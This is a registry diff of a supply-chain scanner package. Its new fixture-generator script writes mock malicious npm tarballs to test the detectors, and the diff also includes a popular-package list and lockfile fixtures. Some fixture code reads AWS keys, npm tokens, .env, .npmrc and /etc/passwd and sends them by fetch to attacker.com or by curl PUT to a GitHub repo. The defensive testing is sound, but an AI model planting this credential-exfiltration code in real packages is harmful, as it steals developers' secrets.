@lateos/npm-scan 0.16.4 → 0.16.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (96) hide show
  1. package/.dockerignore +20 -20
  2. package/.husky/pre-commit +1 -1
  3. package/CHANGELOG.md +199 -199
  4. package/LICENSING.md +19 -19
  5. package/README.de.md +708 -708
  6. package/README.fr.md +707 -707
  7. package/README.ja.md +704 -704
  8. package/README.md +826 -826
  9. package/README.zh.md +708 -708
  10. package/SECURITY.md +72 -72
  11. package/backend/cra.js +68 -68
  12. package/backend/db/schema.sql +32 -32
  13. package/backend/db.js +88 -88
  14. package/backend/detectors/atk-001-lifecycle.js +17 -17
  15. package/backend/detectors/atk-002-obfusc.js +261 -261
  16. package/backend/detectors/atk-003-creds.js +13 -13
  17. package/backend/detectors/atk-004-persist.js +13 -13
  18. package/backend/detectors/atk-005-exfil.js +13 -13
  19. package/backend/detectors/atk-006-depconf.js +14 -14
  20. package/backend/detectors/atk-007-typosquat.js +34 -34
  21. package/backend/detectors/atk-008-tarball-tamper.js +91 -91
  22. package/backend/detectors/atk-009-dormant-trigger.js +62 -62
  23. package/backend/detectors/atk-010-sandbox-evasion.js +50 -50
  24. package/backend/detectors/atk-011-transitive-prop.js +76 -76
  25. package/backend/detectors/cve-2026-48710-badhost/codePattern.js +99 -99
  26. package/backend/detectors/cve-2026-48710-badhost/findings.js +105 -105
  27. package/backend/detectors/cve-2026-48710-badhost/index.js +15 -15
  28. package/backend/detectors/cve-2026-48710-badhost/manifest.js +305 -305
  29. package/backend/detectors/cve-2026-48710-badhost/transitive.js +189 -189
  30. package/backend/detectors/hf-impersonation/index.js +396 -396
  31. package/backend/detectors/hf-impersonation/jaro-winkler.js +44 -44
  32. package/backend/detectors/hf-impersonation/known-orgs.js +5 -5
  33. package/backend/detectors/hf-impersonation/simhash.js +46 -46
  34. package/backend/detectors/index.js +75 -44
  35. package/backend/detectors/megalodon/d1-workflow-scan.js +147 -147
  36. package/backend/detectors/megalodon/d2-credential-harvest.js +61 -61
  37. package/backend/detectors/megalodon/d3-publish-velocity.js +67 -67
  38. package/backend/detectors/megalodon/d4-publisher-drift.js +124 -124
  39. package/backend/detectors/megalodon/d5-bot-commit-identity.js +3 -3
  40. package/backend/detectors/megalodon/d6-date-anachronism.js +3 -3
  41. package/backend/detectors/megalodon/index.js +80 -80
  42. package/backend/detectors/megalodon/types.js +9 -9
  43. package/backend/detectors/mini-shai-hulud/d1-burst-publish.js +42 -42
  44. package/backend/detectors/mini-shai-hulud/d2-sibling-compromise.js +116 -116
  45. package/backend/detectors/mini-shai-hulud/d3-slsa-mismatch.js +72 -72
  46. package/backend/detectors/mini-shai-hulud/d4-maintainer-anomaly.js +45 -45
  47. package/backend/detectors/mini-shai-hulud/d5-ioc-check.js +95 -95
  48. package/backend/detectors/mini-shai-hulud/d6-token-exfil.js +38 -38
  49. package/backend/detectors/mini-shai-hulud/index.js +118 -118
  50. package/backend/detectors/mini-shai-hulud/iocs.json +79 -79
  51. package/backend/detectors/tier1-binary-embed.js +219 -0
  52. package/backend/detectors/tier1-infostealer.js +280 -0
  53. package/backend/detectors/tier1-lifecycle-hook.js +176 -0
  54. package/backend/detectors/tier1-metadata-spoof.js +180 -0
  55. package/backend/detectors/tier1-typosquat.js +219 -0
  56. package/backend/fetch.js +175 -175
  57. package/backend/index.js +4 -4
  58. package/backend/license.js +89 -89
  59. package/backend/lockfile.js +379 -379
  60. package/backend/pdf.js +245 -245
  61. package/backend/policy.js +193 -176
  62. package/backend/report.js +254 -254
  63. package/backend/sbom.js +66 -66
  64. package/backend/siem/cef.js +32 -32
  65. package/backend/siem/ecs.js +40 -40
  66. package/backend/siem/index.js +18 -18
  67. package/backend/siem/qradar.js +56 -56
  68. package/backend/siem/sentinel.js +27 -27
  69. package/backend/vsix-scan/detectors/activation-event-risk.js +116 -116
  70. package/backend/vsix-scan/detectors/burst-publish.js +52 -52
  71. package/backend/vsix-scan/detectors/exfil-pattern.js +88 -88
  72. package/backend/vsix-scan/detectors/known-ioc.js +105 -105
  73. package/backend/vsix-scan/detectors/orphan-commit-fetch.js +69 -69
  74. package/backend/vsix-scan/detectors/publisher-anomaly.js +70 -70
  75. package/backend/vsix-scan/index.js +183 -183
  76. package/backend/vsix-scan/marketplace-client.js +145 -145
  77. package/backend/vsix-scan/vsix-iocs.json +31 -31
  78. package/cli/cli.js +458 -458
  79. package/deploy/helm/npm-scan/Chart.yaml +21 -21
  80. package/deploy/helm/npm-scan/templates/_helpers.tpl +8 -8
  81. package/deploy/helm/npm-scan/templates/api.yaml +93 -93
  82. package/deploy/helm/npm-scan/templates/ingress.yaml +27 -27
  83. package/deploy/helm/npm-scan/templates/postgresql.yaml +66 -66
  84. package/deploy/helm/npm-scan/templates/secrets.yaml +18 -18
  85. package/deploy/helm/npm-scan/templates/worker.yaml +31 -31
  86. package/deploy/helm/npm-scan/values.byoc.yaml +74 -74
  87. package/deploy/helm/npm-scan/values.yaml +102 -102
  88. package/package.json +57 -57
  89. package/scripts/download-corpus.js +30 -30
  90. package/scripts/gen-mal-corpus.js +34 -34
  91. package/scripts/generate-campaign-fixtures.js +170 -0
  92. package/src/config/top-5000.json +87 -0
  93. package/test/fixtures/lockfiles/npm-lock.json +68 -68
  94. package/test/fixtures/lockfiles/pnpm-lock.yaml +117 -117
  95. package/test/fixtures/lockfiles/yarn.lock +103 -103
  96. package/test/fixtures/mock-data.js +69 -69
@@ -0,0 +1,170 @@
1
+ import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'fs';
2
+ import { execSync } from 'child_process';
3
+ import { tmpdir } from 'os';
4
+ import { join } from 'path';
5
+ import { fileURLToPath } from 'url';
6
+ import { dirname } from 'path';
7
+
8
+ const __dirname = dirname(fileURLToPath(import.meta.url));
9
+ const CORPUS_DIR = join(__dirname, '..', 'tests', 'corpus', 'malicious');
10
+
11
+ const TOP_TYPOS = [
12
+ 'reacct', 'expres', 'axiox', 'chlak', 'vuue', 'typescrip',
13
+ 'momnet', 'uuuid', 'commnder', 'debuge', 'semverr', 'underscoree',
14
+ 'requesst', 'asycn',
15
+ ];
16
+
17
+ const BINARY_NAMES = ['bun', 'deno', 'go', 'rustc', 'python'];
18
+
19
+ function writeFile(filePath, content) {
20
+ writeFileSync(filePath, content, 'utf8');
21
+ }
22
+
23
+ function createElfBinary(size = 4096) {
24
+ const buf = Buffer.alloc(size, 0);
25
+ buf[0] = 0x7f;
26
+ buf[1] = 0x45;
27
+ buf[2] = 0x4c;
28
+ buf[3] = 0x46;
29
+ buf[4] = 2;
30
+ buf[5] = 1;
31
+ buf[6] = 1;
32
+ buf[7] = 0;
33
+ return buf;
34
+ }
35
+
36
+ function createPeBinary(size = 4096) {
37
+ const buf = Buffer.alloc(size, 0);
38
+ buf[0] = 0x4d;
39
+ buf[1] = 0x5a;
40
+ return buf;
41
+ }
42
+
43
+ function buildTarball(dir, tmpParent) {
44
+ const tgzPath = join(CORPUS_DIR, `${dir}.tgz`);
45
+ execSync(`tar czf "${tgzPath}" -C "${tmpParent}" "${dir}"`, { stdio: 'pipe', shell: 'powershell' });
46
+ }
47
+
48
+ function createCampaign1Package(n) {
49
+ const dir = `campaign-1-${String(n).padStart(3, '0')}`;
50
+ const pkgJson = {
51
+ name: `vulnerable-package-${n}`,
52
+ version: '99.0.0',
53
+ description: 'Campaign 1 test fixture',
54
+ repository: { url: 'https://github.enterprise.internal/org/repo' },
55
+ homepage: 'https://jira.internal/browse/PROJ-123',
56
+ bugs: { url: 'https://docs.internal/issues' },
57
+ scripts: {
58
+ postinstall: 'node -e "eval(Buffer.from(\'dmFyIHggPSAx\' ,\'base64\').toString())"',
59
+ },
60
+ };
61
+
62
+ const distIndexJs = `(function() {
63
+ const os = require('os');
64
+ const env = process.env;
65
+ const profile = {
66
+ hostname: os.hostname(),
67
+ platform: os.platform(),
68
+ arch: os.arch(),
69
+ env: { AWS_ACCESS_KEY_ID: env.AWS_ACCESS_KEY_ID }
70
+ };
71
+ console.log('[RECON]', JSON.stringify(profile));
72
+ })();`;
73
+
74
+ const tmpParent = mkdtempSync(join(tmpdir(), 'camp1-'));
75
+ const pkgDir = join(tmpParent, dir);
76
+ mkdirSync(join(pkgDir, 'dist'), { recursive: true });
77
+ writeFile(join(pkgDir, 'package.json'), JSON.stringify(pkgJson, null, 2));
78
+ writeFile(join(pkgDir, 'dist', 'index.js'), distIndexJs);
79
+
80
+ buildTarball(dir, tmpParent);
81
+ rmSync(tmpParent, { recursive: true, force: true });
82
+ console.log(` Created ${dir}.tgz`);
83
+ }
84
+
85
+ function createCampaign2Package(n) {
86
+ const dir = `campaign-2-${String(n).padStart(3, '0')}`;
87
+ const typoName = TOP_TYPOS[(n - 1) % TOP_TYPOS.length];
88
+ const binName = BINARY_NAMES[(n - 1) % BINARY_NAMES.length];
89
+
90
+ const pkgJson = {
91
+ name: typoName,
92
+ version: '1.0.0',
93
+ description: 'Test fixture',
94
+ };
95
+
96
+ const distIndexJs = `const fs = require('fs');
97
+ const { execSync } = require('child_process');
98
+ const awsKey = process.env.AWS_ACCESS_KEY_ID;
99
+ const npmToken = process.env.NODE_AUTH_TOKEN;
100
+ const data = fs.readFileSync('/etc/passwd', 'utf8');
101
+ if (awsKey || npmToken) {
102
+ fetch('https://attacker.com/creds', {
103
+ method: 'POST',
104
+ body: JSON.stringify({ awsKey, npmToken, data })
105
+ });
106
+ }`;
107
+
108
+ const tmpParent = mkdtempSync(join(tmpdir(), 'camp2-'));
109
+ const pkgDir = join(tmpParent, dir);
110
+ mkdirSync(join(pkgDir, 'dist'), { recursive: true });
111
+ mkdirSync(join(pkgDir, 'bin'), { recursive: true });
112
+ writeFile(join(pkgDir, 'package.json'), JSON.stringify(pkgJson, null, 2));
113
+ writeFile(join(pkgDir, 'dist', 'index.js'), distIndexJs);
114
+
115
+ writeFileSync(join(pkgDir, 'bin', binName), createElfBinary(32768));
116
+ writeFileSync(join(pkgDir, 'bin', `${binName}.exe`), createPeBinary(32768));
117
+
118
+ buildTarball(dir, tmpParent);
119
+ rmSync(tmpParent, { recursive: true, force: true });
120
+ console.log(` Created ${dir}.tgz (typo: ${typoName}, binary: ${binName})`);
121
+ }
122
+
123
+ function createCampaign3Package() {
124
+ const dir = 'campaign-3-infostealer';
125
+
126
+ const pkgJson = {
127
+ name: 'mouse5212-super-formatter',
128
+ version: '1.0.0',
129
+ description: 'Super formatter',
130
+ };
131
+
132
+ const distIndexJs = `const fs = require('fs');
133
+ const { execSync } = require('child_process');
134
+ const secretFiles = ['package.json', '.env', '.npmrc', '.aws/credentials'];
135
+ for (const file of secretFiles) {
136
+ try {
137
+ const content = fs.readFileSync(process.env.HOME + '/' + file, 'utf8');
138
+ const ghToken = 'ghp_stub1234567890abcdefghijklmnopqr';
139
+ const exfilUrl = 'https://api.github.com/repos/attacker/stolen-secrets/contents/data.json';
140
+ execSync('curl -X PUT "' + exfilUrl + '" -H "Authorization: token ' + ghToken + '" -d ' + JSON.stringify(content));
141
+ } catch (e) {
142
+ }
143
+ }`;
144
+
145
+ const tmpParent = mkdtempSync(join(tmpdir(), 'camp3-'));
146
+ const pkgDir = join(tmpParent, dir);
147
+ mkdirSync(join(pkgDir, 'dist'), { recursive: true });
148
+ writeFile(join(pkgDir, 'package.json'), JSON.stringify(pkgJson, null, 2));
149
+ writeFile(join(pkgDir, 'dist', 'index.js'), distIndexJs);
150
+
151
+ buildTarball(dir, tmpParent);
152
+ rmSync(tmpParent, { recursive: true, force: true });
153
+ console.log(` Created ${dir}.tgz`);
154
+ }
155
+
156
+ // ─── Generate All Campaigns ─────────────────────────────────────────
157
+ console.log('Generating Campaign 1 (33 packages)...');
158
+ for (let i = 1; i <= 33; i++) {
159
+ createCampaign1Package(i);
160
+ }
161
+
162
+ console.log('Generating Campaign 2 (14 packages)...');
163
+ for (let i = 1; i <= 14; i++) {
164
+ createCampaign2Package(i);
165
+ }
166
+
167
+ console.log('Generating Campaign 3 (1 package)...');
168
+ createCampaign3Package();
169
+
170
+ console.log('\nAll 48 campaign tarballs generated successfully!');
@@ -0,0 +1,87 @@
1
+ [
2
+ "lodash", "react", "express", "axios", "chalk", "vue", "typescript", "moment", "uuid", "commander",
3
+ "debug", "semver", "underscore", "request", "async", "cheerio", "bluebird", "jest", "mocha", "dotenv",
4
+ "glob", "minimist", "body-parser", "cors", "helmet", "jsonwebtoken", "socket.io", "redis", "mongoose", "sequelize",
5
+ "pg", "passport", "nodemailer", "multer", "bcrypt", "winston", "luxon", "dayjs", "rxjs", "redux",
6
+ "react-dom", "next", "nuxt", "angular", "fastify", "hono", "koa", "connect", "vite", "rollup",
7
+ "esbuild", "babel-core", "ramda", "node-fetch", "got", "superagent", "prisma", "typeorm", "vitest", "ava",
8
+ "prettier", "eslint", "stylelint", "ws", "rimraf", "minimatch", "fs-extra", "webpack", "parcel", "gatsby",
9
+ "tslib", "core-js", "regenerator-runtime", "buffer", "class-validator", "class-transformer", "reflect-metadata", "zone.js", "graphql", "apollo-server",
10
+ "express-graphql", "type-graphql", "nexus", "prisma-binding", "graphql-yoga", "apollo-client", "urql", "relay-runtime", "subscriptions-transport-ws", "graphql-subscriptions",
11
+ "graphql-tools", "graphql-tag", "graphql-upload", "dataloader", "envalid", "joi", "yup", "zod", "superstruct", "io-ts",
12
+ "runtypes", "ow", "ajv", "validator", "validatorjs", "validate.js", "indicative", "computed-types", "typebox", "typia",
13
+ "sinon", "chai", "should", "expect", "proxyquire", "nock", "nyc", "istanbul", "c8", "tap",
14
+ "ava", "uvu", "tape", "benchmark", "microbench", "node-fetch", "cross-fetch", "isomorphic-fetch", "ky", "got",
15
+ "undici", "needle", "phin", "wreck", "bent", "make-fetch-happen", "http-proxy-agent", "https-proxy-agent", "socks-proxy-agent", "agent-base",
16
+ "express-session", "cookie-parser", "cookie-session", "csurf", "lusca", "helmet-csp", "hpp", "rate-limiter-flexible", "express-rate-limit", "express-brute",
17
+ "passport-local", "passport-jwt", "passport-oauth2", "passport-http", "passport-google-oauth", "passport-facebook", "passport-github", "passport-twitter", "passport-linkedin", "passport-apple",
18
+ "bcryptjs", "argon2", "scrypt", "password-hash", "hasha", "pbkdf2", "node-forge", "crypto-js", "crypto-random-string", "nanoid",
19
+ "jsonwebtoken", "json5", "fast-json-stable-stringify", "flatted", "serialize-javascript", "javascript-natural-sort", "json-stringify-safe", "json-stable-stringify", "json3", "json-parse-even-better-errors",
20
+ "morgan", "pino", "winston-cloudwatch", "log4js", "bunyan", "signale", "consola", "loglevel", "loglevelnext", "roarr",
21
+ "ora", "listr", "progress", "cli-progress", "cli-spinners", "log-symbols", "log-update", "figures", "ansi-styles", "supports-color",
22
+ "nodemon", "concurrently", "npm-run-all", "parallelshell", "shelljs", "execa", "cross-env", "env-cmd", "dotenv-safe", "dotenv-expand",
23
+ "pm2", "forever", "supervisor", "node-dev", "tsx", "ts-node", "ts-node-dev", "ts-jest", "ts-loader", "typescript-json-schema",
24
+ "eslint-config-airbnb", "eslint-config-prettier", "eslint-plugin-react", "eslint-plugin-vue", "eslint-plugin-import", "eslint-plugin-node", "eslint-plugin-promise", "eslint-plugin-standard", "eslint-plugin-jsx-a11y", "eslint-plugin-jest",
25
+ "prettier-eslint", "pretty-quick", "lint-staged", "husky", "lint-staged", "commitlint", "cz-conventional-changelog", "standard-version", "semantic-release", "release-it",
26
+ "webpack-cli", "webpack-dev-server", "webpack-merge", "webpack-node-externals", "css-loader", "style-loader", "sass-loader", "less-loader", "postcss-loader", "file-loader",
27
+ "url-loader", "html-webpack-plugin", "mini-css-extract-plugin", "terser-webpack-plugin", "optimize-css-assets-webpack-plugin", "clean-webpack-plugin", "copy-webpack-plugin", "define-plugin", "provide-plugin", "ignore-plugin",
28
+ "electron", "electron-builder", "electron-packager", "electron-forge", "nativefier", "nw", "nw-builder", "tauri", "tauri-cli", "wry",
29
+ "puppeteer", "playwright", "playwright-core", "cypress", "selenium-webdriver", "webdriverio", "nightwatch", "testcafe", "protractor", "karma",
30
+ "sharp", "node-canvas", "canvas", "jimp", "gm", "lwip", "pngjs", "jpeg-js", "gif-js", "qrcode",
31
+ "ffmpeg-static", "fluent-ffmpeg", "ffprobe-static", "musicmetadata", "node-id3", "sox-audio", "wav", "speaker", "node-lame", "audiobuffer-to-wav",
32
+ "chromium", "chrome-launcher", "chrome-aws-lambda", "puppeteer-extra", "puppeteer-extra-plugin-stealth", "playwright-extra", "puppeteer-cluster", "puppeteer-core", "playwright-firefox", "playwright-webkit",
33
+ "react-scripts", "create-react-app", "react-dev-utils", "react-error-overlay", "react-refresh", "react-hot-loader", "react-fast-refresh", "react-app-polyfill", "react-app-rewired", "customize-cra",
34
+ "next", "gatsby", "gatsby-cli", "gatsby-plugin-*", "gridsome", "remix", "remix-run", "blitz", "blitzjs", "redwoodjs",
35
+ "@angular/cli", "@angular/core", "@angular/common", "@angular/compiler", "@angular/platform-browser", "@angular/platform-browser-dynamic", "@angular/forms", "@angular/router", "@angular/http", "@angular/animations",
36
+ "@angular-devkit/core", "@angular-devkit/schematics", "@angular-devkit/build-angular", "@angular-devkit/build-optimizer", "@ngrx/store", "@ngrx/effects", "@ngrx/entity", "@ngrx/store-devtools", "@angular/material", "@angular/cdk",
37
+ "vue-router", "vuex", "vuepress", "vue-cli", "vue-loader", "vue-template-compiler", "vue-server-renderer", "vite", "vitest", "pinia",
38
+ "nuxt", "svelte", "sveltekit", "sapper", "solid-js", "solid-start", "preact", "inferno", "lit", "lit-html",
39
+ "htm", "hono", "alpinejs", "stimulus", "turbolinks", "hotwired-turbo", "hotwired-stimulus", "unpoly", "petite-vue", "qwik",
40
+ "express", "fastify", "hapi", "restify", "micro", "polka", "tinyhttp", "sails", "adonis-framework", "loopback",
41
+ "feathers", "nest", "routing-controllers", "typedi", "inversify", "awilix", "awilix-express", "express-di", "injection-js", "tsyringe",
42
+ "typeorm", "prisma", "drizzle-orm", "knex", "kysely", "better-sqlite3", "sql.js", "sequelize", "bookshelf", "objection",
43
+ "mongoose", "mongodb", "mongodb-memory-server", "mongoose-sequence", "mongoskin", "monk", "realm", "tingodb", "lokijs", "nedb",
44
+ "redis", "ioredis", "redis-commander", "connect-redis", "session-file-store", "connect-mongo", "connect-memcached", "couchbase", "memcached", "leveldown",
45
+ "mysql", "mysql2", "mariasql", "pg-promise", "pg-native", "pg-pool", "sqlite3", "sql.js", "better-sqlite3", "sqlcipher",
46
+ "socket.io", "ws", "uws", "faye-websocket", "sockjs", "socket.io-client", "socket.io-redis", "socket.io-emitter", "socket.io-adapter", "primus",
47
+ "amqplib", "kafkajs", "node-rdkafka", "rhea", "nats", "nats-hemera", "mqtt", "mqemitter", "mosca", "aedes",
48
+ "bull", "bullmq", "bee-queue", "kue", "agenda", "node-cron", "cron", "node-schedule", "later", "bree",
49
+ "handlebars", "mustache", "ejs", "pug", "nunjucks", "liquidjs", "eta", "twig", "marko", "dustjs-linkedin",
50
+ "jsdom", "cheerio", "htmlparser2", "node-html-parser", "parse5", "linkedom", "xmldom", "sax", "node-expat", "libxmljs",
51
+ "marked", "remarkable", "showdown", "markdown-it", "commonmark", "remark", "remark-parse", "remark-stringify", "unified", "rehype",
52
+ "dayjs", "date-fns", "luxon", "moment-timezone", "timeago.js", "ms", "pretty-ms", "pretty-hrtime", "strftime", "dateformat",
53
+ "dotenv", "config", "nconf", "convict", "env-var", "envschema", "envalid", "properties-reader", "ini", "toml",
54
+ "colors", "chalk", "kleur", "colorette", "picocolors", "nanocolors", "ansi-colors", "color-string", "color-convert", "color-name",
55
+ "fs-extra", "graceful-fs", "make-dir", "klaw", "klaw-sync", "readdirp", "watchpack", "chokidar", "fsevents", "micromatch",
56
+ "globby", "fast-glob", "picomatch", "minimatch", "brace-expansion", "ignore", "anymatch", "is-glob", "is-extglob", "normalize-path",
57
+ "archiver", "unzipper", "decompress", "tar", "tar-fs", "tar-stream", "yauzl", "yazl", "adm-zip", "extract-zip",
58
+ "cross-spawn", "spawn-command", "tree-kill", "signal-exit", "ps-tree", "pidtree", "pidusage", "process-exists", "find-process", "fkill",
59
+ "which", "find-up", "locate-path", "pkg-dir", "resolve-from", "import-fresh", "resolve", "resolve-cwd", "pkg-up", "global-prefix",
60
+ "cosmiconfig", "lilconfig", "load-json-file", "parse-json", "json-parse-even-better-errors", "json5", "strip-json-comments", "comment-json", "jsonc-parser", "hjson",
61
+ "zod", "joi", "yup", "superstruct", "io-ts", "runtypes", "ow", "typebox", "typia", "valibot",
62
+ "inquirer", "enquirer", "prompts", "readline-sync", "read", "co-prompt", "cli-interact", "listr2", "node-prompt", "password-prompt",
63
+ "yargs", "yargs-parser", "meow", "arg", "getopts", "mri", "sade", "cac", "clipanion", "command-line-args",
64
+ "ora", "nanospinner", "cli-spinners", "listr", "progress", "cli-progress", "log-update", "log-symbols", "spinnies", "elegant-spinner",
65
+ "boxen", "window-size", "cli-table", "cli-table3", "easy-table", "columnify", "wordwrap", "wrap-ansi", "string-width", "strip-ansi",
66
+ "http-errors", "http-status-codes", "statuses", "boom", "http-assert", "http-response-object", "http-errors", "http-status", "status-code", "http-code",
67
+ "express", "koa", "koa-router", "koa-body", "koa-static", "koa-send", "koa-compress", "koa-logger", "koa-cors", "koa-session",
68
+ "axios", "superagent", "got", "node-fetch", "cross-fetch", "isomorphic-fetch", "ky", "ky-universal", "make-fetch-happen", "undici",
69
+ "lodash", "ramda", "lodash-es", "lodash.merge", "lodash.get", "lodash.set", "lodash.clonedeep", "lodash.isequal", "lodash.pick", "lodash.omit",
70
+ "defu", "merge-options", "deepmerge", "assign-deep", "deep-assign", "defaults-deep", "clone-deep", "merge-deep2", "merge-descriptors", "utils-merge",
71
+ "uuid", "nanoid", "cuid", "ulid", "bson", "objectid", "shortid", "hyperid", "flake-idgen", "snowflake-id",
72
+ "express", "passport", "bcrypt", "jsonwebtoken", "helmet", "cors", "express-rate-limit", "express-session", "cookie-parser", "csurf",
73
+ "next-auth", "passport", "passport-jwt", "passport-local", "keycloak-connect", "oauth2orize", "grant", "openid-client", "node-oidc-provider", "iron-session",
74
+ "lodash", "rxjs", "immer", "immutable", "seamless-immutable", "dot-prop", "object-path", "selectn", "rfdc", "clone",
75
+ "react-router", "react-router-dom", "reach-router", "wouter", "raviger", "navigation-react", "router5", "universal-router", "redux-router", "connected-react-router",
76
+ "redux", "redux-toolkit", "mobx", "mobx-react-lite", "recoil", "jotai", "zustand", "valtio", "xstate", "effector",
77
+ "react-query", "tanstack-query", "swr", "apollo-client", "urql", "relay-runtime", "react-apollo", "graphql-request", "rtk-query", "redux-observable",
78
+ "react-hook-form", "formik", "react-final-form", "redux-form", "uniforms", "react-jsonschema-form", "informed", "react-form", "formily", "vest",
79
+ "d3", "chart.js", "echarts", "highcharts", "plotly.js", "recharts", "victory", "nivo", "visx", "billboard.js",
80
+ "three", "babylonjs", "phaser", "pixi.js", "playcanvas", "aframe", "cannon-es", "ammo.js", "oimo", "matter-js",
81
+ "leaflet", "openlayers", "mapbox-gl", "cesium", "deck.gl", "luma.gl", "turf", "geolib", "geojson", "proj4",
82
+ "i18next", "react-i18next", "polyglot", "i18n", "i18n-js", "formatjs", "lingui", "react-intl", "react-intl-universal", "fbt",
83
+ "pdfkit", "pdf-lib", "pdfmake", "pdfjs", "jspdf", "pdf2json", "pdf-parse", "pdf2pic", "html-pdf", "puppeteer",
84
+ "exceljs", "xlsx", "csv-parse", "csv-stringify", "csvtojson", "csv-parser", "papaparse", "json2csv", "csv2json", "csv-writer",
85
+ "mongoist", "mongojs", "mongodb-memory-server", "mongodb-memory-server-core", "mongotop", "mongostat", "mongorestore", "mongodump", "mongo-hacker", "mongoplayground",
86
+ "json2typescript", "ts-json-serializer", "class-transformer", "autobind-decorator", "reflect-metadata", "typed-mock", "ts-mockito", "jest-mock-extended", "type-mock", "typemoq"
87
+ ]
@@ -1,69 +1,69 @@
1
- {
2
- "name": "test-project",
3
- "version": "1.0.0",
4
- "lockfileVersion": 3,
5
- "packages": {
6
- "": {
7
- "name": "test-project",
8
- "version": "1.0.0",
9
- "dependencies": {
10
- "lodash": "^4.17.21",
11
- "axios": "^1.6.0"
12
- },
13
- "devDependencies": {
14
- "@babel/core": "^7.23.0"
15
- }
16
- },
17
- "node_modules/lodash": {
18
- "name": "lodash",
19
- "version": "4.17.21",
20
- "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
21
- "integrity": "sha512-v2kDEeDAnj4p1hhL6Ogrgu4BSWwg8cD2fRIouDAiqwu+iNl1IvyMex9jG9j8OpNp1zntnv/headququbit",
22
- "dependencies": {}
23
- },
24
- "node_modules/axios": {
25
- "name": "axios",
26
- "version": "1.6.8",
27
- "resolved": "https://registry.npmjs.org/axios/-/axios-1.6.8.tgz",
28
- "integrity": "sha512-j2xvyqwsdd456789abcdef",
29
- "dependencies": {
30
- "form-data": "4.0.0",
31
- "proxy-from-env": "1.1.0"
32
- }
33
- },
34
- "node_modules/axios/node_modules/form-data": {
35
- "version": "4.0.0",
36
- "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz",
37
- "integrity": "sha512-444567890123456"
38
- },
39
- "node_modules/@babel/core": {
40
- "name": "@babel/core",
41
- "version": "7.23.9",
42
- "resolved": "https://registry.yarnpkg.com/@babel/core/-/core-7.23.9.tgz",
43
- "integrity": "sha512-5q+M1iEJCOrGJs9NxzG3p3z7w2cJK/QuoRoI2pOJhtcNQjl9y7w6w4At5ZQHZdwqd+5N5G1lULu7I6pXVBw==",
44
- "dev": true,
45
- "dependencies": {
46
- "@babel/generator": "^7.23.6",
47
- "@babel/parser": "^7.23.9"
48
- }
49
- },
50
- "node_modules/reakt": {
51
- "name": "reakt",
52
- "version": "18.2.0",
53
- "resolved": "https://registry.yarnpkg.com/reakt/-/reakt-18.2.0.tgz",
54
- "integrity": "sha-abcdabcd1234defghi",
55
- "optional": true,
56
- "dependencies": {}
57
- },
58
- "node_modules/express": {
59
- "name": "express",
60
- "version": "4.18.2",
61
- "resolved": "https://registry.npmjs.org/express/-/express-4.18.2.tgz",
62
- "integrity": "sha512-abcdabcd1234abcdefghi",
63
- "dependencies": {
64
- "accepts": "~1.3.8",
65
- "body-parser": "1.20.2"
66
- }
67
- }
68
- }
1
+ {
2
+ "name": "test-project",
3
+ "version": "1.0.0",
4
+ "lockfileVersion": 3,
5
+ "packages": {
6
+ "": {
7
+ "name": "test-project",
8
+ "version": "1.0.0",
9
+ "dependencies": {
10
+ "lodash": "^4.17.21",
11
+ "axios": "^1.6.0"
12
+ },
13
+ "devDependencies": {
14
+ "@babel/core": "^7.23.0"
15
+ }
16
+ },
17
+ "node_modules/lodash": {
18
+ "name": "lodash",
19
+ "version": "4.17.21",
20
+ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
21
+ "integrity": "sha512-v2kDEeDAnj4p1hhL6Ogrgu4BSWwg8cD2fRIouDAiqwu+iNl1IvyMex9jG9j8OpNp1zntnv/headququbit",
22
+ "dependencies": {}
23
+ },
24
+ "node_modules/axios": {
25
+ "name": "axios",
26
+ "version": "1.6.8",
27
+ "resolved": "https://registry.npmjs.org/axios/-/axios-1.6.8.tgz",
28
+ "integrity": "sha512-j2xvyqwsdd456789abcdef",
29
+ "dependencies": {
30
+ "form-data": "4.0.0",
31
+ "proxy-from-env": "1.1.0"
32
+ }
33
+ },
34
+ "node_modules/axios/node_modules/form-data": {
35
+ "version": "4.0.0",
36
+ "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz",
37
+ "integrity": "sha512-444567890123456"
38
+ },
39
+ "node_modules/@babel/core": {
40
+ "name": "@babel/core",
41
+ "version": "7.23.9",
42
+ "resolved": "https://registry.yarnpkg.com/@babel/core/-/core-7.23.9.tgz",
43
+ "integrity": "sha512-5q+M1iEJCOrGJs9NxzG3p3z7w2cJK/QuoRoI2pOJhtcNQjl9y7w6w4At5ZQHZdwqd+5N5G1lULu7I6pXVBw==",
44
+ "dev": true,
45
+ "dependencies": {
46
+ "@babel/generator": "^7.23.6",
47
+ "@babel/parser": "^7.23.9"
48
+ }
49
+ },
50
+ "node_modules/reakt": {
51
+ "name": "reakt",
52
+ "version": "18.2.0",
53
+ "resolved": "https://registry.yarnpkg.com/reakt/-/reakt-18.2.0.tgz",
54
+ "integrity": "sha-abcdabcd1234defghi",
55
+ "optional": true,
56
+ "dependencies": {}
57
+ },
58
+ "node_modules/express": {
59
+ "name": "express",
60
+ "version": "4.18.2",
61
+ "resolved": "https://registry.npmjs.org/express/-/express-4.18.2.tgz",
62
+ "integrity": "sha512-abcdabcd1234abcdefghi",
63
+ "dependencies": {
64
+ "accepts": "~1.3.8",
65
+ "body-parser": "1.20.2"
66
+ }
67
+ }
68
+ }
69
69
  }
@@ -1,118 +1,118 @@
1
- lockfileVersion: "6.0"
2
-
3
- importers:
4
- .:
5
- dependencies:
6
- lodash: "^4.17.21"
7
- axios: "^1.6.0"
8
- devDependencies:
9
- "@babel/core": "^7.23.0"
10
- optionalDependencies:
11
- chalk: "^5.3.0"
12
- peerDependencies:
13
- react: ">=16"
14
-
15
- packages:
16
- "/lodash@4.17.21":
17
- resolution:
18
- url: "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz"
19
- sha512: X2xvyqwsdd456789abcdefghijk
20
- dev: false
21
- optional: false
22
- dependencies: {}
23
-
24
- "/axios@1.6.8":
25
- resolution:
26
- url: "https://registry.npmjs.org/axios/-/axios-1.6.8.tgz"
27
- sha512: j2xvyqwsdd456789abcdef
28
- dev: false
29
- optional: false
30
- dependencies:
31
- form-data: "4.0.0"
32
